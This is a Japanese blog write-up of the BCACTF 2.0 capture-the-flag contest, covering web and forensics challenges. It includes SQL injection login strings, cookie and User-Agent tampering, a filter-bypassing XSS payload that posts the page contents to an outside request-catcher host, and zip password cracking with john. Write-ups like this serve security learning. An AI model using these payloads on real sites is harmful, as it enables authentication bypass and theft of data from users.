はまやんはまやんはまやん

hamayanhamayan's blog

BCACTF 2.0 解説 (Writeup)

解けたものだけ。

Countdown Timer [Web]

f:id:hamayanhamayan:20210612123215p:plain

100日間は待てないので何とかしなくては。

f:id:hamayanhamayan:20210612124228p:plain

カウントダウンが終了するとgetFlagが呼ばれる。 直接コンソールでgetFlagを呼ぼうとしたら呼べなかった。うーん。 適当にブレークとして、待ち時間を0に書き換えてやればフラグが出てくる。

f:id:hamayanhamayan:20210612125235p:plain

Home Automation [Web]

色々巡回して、/offにアクセスしてみる。
You must be admin to turn off the lights. Currently you are "vampire".
ほう。

f:id:hamayanhamayan:20210612125513p:plain

確かに。Cookieのuseをadminにしてアクセスしてみよう。

f:id:hamayanhamayan:20210612125634p:plain

Movie-Login-1 [Web]

問題文とかみてもSQLiをしてほしそうな感じがあるので、 admin:' or 1=1 --でログインできる。

Wasm Protected Site 1 [Web]

Chrome Developer Toolを使えばもろ書いてある。

f:id:hamayanhamayan:20210612131454p:plain

Agent Gerald [Web]

問題を見るとUser-Agentを適切に入れ替えてほしいという趣旨に見えるので、「Agent Gerald」に差し替えてみるとフラグが得られる。

f:id:hamayanhamayan:20210612131814p:plain

Movie-Login-2 [Web]

前問と同じ問題だが、denylistが与えられる。

[
    "1",
    "0",
    "/",
    "="
]

これだと前のやつは使えないので、ちょっと書き換えてフラグを得る。
admin:' or true --

Movie-Login-3 [Web]

これも前問と同じでdenylistが更新されている。

[
    "and",
    "1",
    "0",
    "true",
    "false",
    "/",
    "*",
    "=",
    "xor",
    "null",
    "is",
    "<",
    ">"
]

色々解法がありそうだが、自分はこれで通した。
admin:' or 2 --

Regular Website [Web]

ソースコードを確認しよう。

    const sanitized = text.replace(/<[\s\S]*>/g, "XSS DETECTED!!!!!!");
    const page = await (await browser).newPage();
    await page.setJavaScriptEnabled(true);
    try {
        await page.setContent(`
        <!DOCTYPE html>
        <html>
            <head>
                <meta charset="utf-8">
                <title>Comment</title>
            </head>
            <body>
                <p>Welcome to the Regular Website admin panel.</p>
                <h2>Site Stats</h2>
                <p><strong>Comments:</strong> ???</p>
                <p><strong>Flag:</strong> ${flag}</p>
                <h2>Latest Comment</h2>
                ${sanitized}
            </body>
        </html>
        `, {timeout: 3000, waitUntil: "networkidle2"});
    } catch (e) {
        console.error(e);
        ctx.status = 500;
        ctx.body = "error viewing comment";
        await page.close();
        return;
    }

const sanitized = text.replace(/<[\s\S]*>/g, "XSS DETECTED!!!!!!");
といった感じでサニタイズされて、フラグを含んだサイトに埋め込まれて管理者が確認するという流れ。
XSSを仕込んでサイトの中身を全部持ってくればよさそう。

色々試すと、以下でフラグが持ってこれる。

<img src=x onerror="fetch('https://XXXXXXXX.requestcatcher.com/test', { method : 'post', body: document.documentElement.innerHTML })"

普通のXSSコードを書いて最後の>を省略するだけ。
たまたま思いついてやったら成功したのだが、テクの名前とかついていたりするんだろうか。
Dangling Markup Injectionと雰囲気は似ていると思う。

Wasm Protected Site 2 [Web]

UTCTF 2020 writeup - Wasm Fans Only - こんとろーるしーこんとろーるぶいを参考に静的・動的解析していく
眺めていくと

  • $v0は入力されたフラグ
  • $v1は暗号化されたフラグ
  • $v2はindex

という感じに使われていて$v0[$v2] == ($v2 * 9 + 127) xor enc[$v2]で比較をしているので、暗号化されたフラグを持ってきて、ルール通りに復元していくとフラグが得られる。

raw = [0x62, 0x6A, 0x73, 0x78, 0x50, 0x4B, 0x4D, 0x48, 0x7C, 0x22, 0x37, 0x4E, 0x1B, 0x44, 0x04, 0x33, 0x62, 0x5D, 0x50, 0x52, 0x19, 0x65, 0x25, 0x7F, 0x2F, 0x3B, 0x17]
ans = ""
for idx in range(27):
    asc = (idx * 9 & 127) ^ raw[idx]
    ans += chr(asc)
print(f'answer is {ans}')

Infinite Zip [Forensic]

zipが与えられる。これを解凍すると999.zipが出てきて、それをさらに解凍すると998.zipが出てくる。
スクリプトを書くのも面倒なので、バイナリエディタを開いて何とかならないか色々やってみると前半の適当な所を削ってzipのマジックコードらへんに寄せて消すとかなりスキップできる。

f:id:hamayanhamayan:20210612171807p:plain

7zipとかを使えばCRCとか無視して無理矢理解凍してくれる。
最終的にflag.pngというファイルが手に入るが、そこに書いてあるフラグは答えではないみたい。
strings flag.png | grep bcaみたいにやるとほんとのフラグが手に入る。

Zstegosaurus [Forensic]

題名からzstegを使ってほしそうな感じがあり、使うと出てくる。

$ zsteg zstegosaurus.png
b1,r,lsb,xy         .. text: "h15_n@m3_i5nt_g3rard"
b4,rgb,msb,xy       .. text: ["w" repeated 10 times]

Secure Zip [Forensic]

パスワード付きzipが与えられる。
johnを使ったパスワードクラックをしてみよう。

$ zip2john chall.zip > chall_hash.txt
ver 1.0 efh 5455 efh 7875 chall.zip/flag.txt PKZIP Encr: 2b chk, TS_chk, cmplen=64, decmplen=52, crc=75EEF70D
ver 1.0 efh 5455 efh 7875 chall.zip/homework.txt PKZIP Encr: 2b chk, TS_chk, cmplen=64, decmplen=52, crc=75EEF70D
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
$ john --wordlist=/usr/share/dirb/wordlists/rockyou.txt chall_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
dogedoge         (chall.zip)
1g 0:00:00:01 DONE (2021-06-12 18:00) 0.6756g/s 5784Kp/s 5784Kc/s 5784KC/s dolla bill..dodolke
Use the "--show" option to display all of the cracked passwords reliably
Session completed

これで解凍すればフラグが書いてある。

これは余談だが、たまにHint無しでは解くのが不可能な時もあるのでタダでHintが見られるときは即見ている。
ヒントにGerald loves listening to the song that goes "we will, we will".とあり、「queenがパスワードか?違うwewillrockyouがパスワードか?違う」としていたが、今思えばrockyouを言いたかっただけか。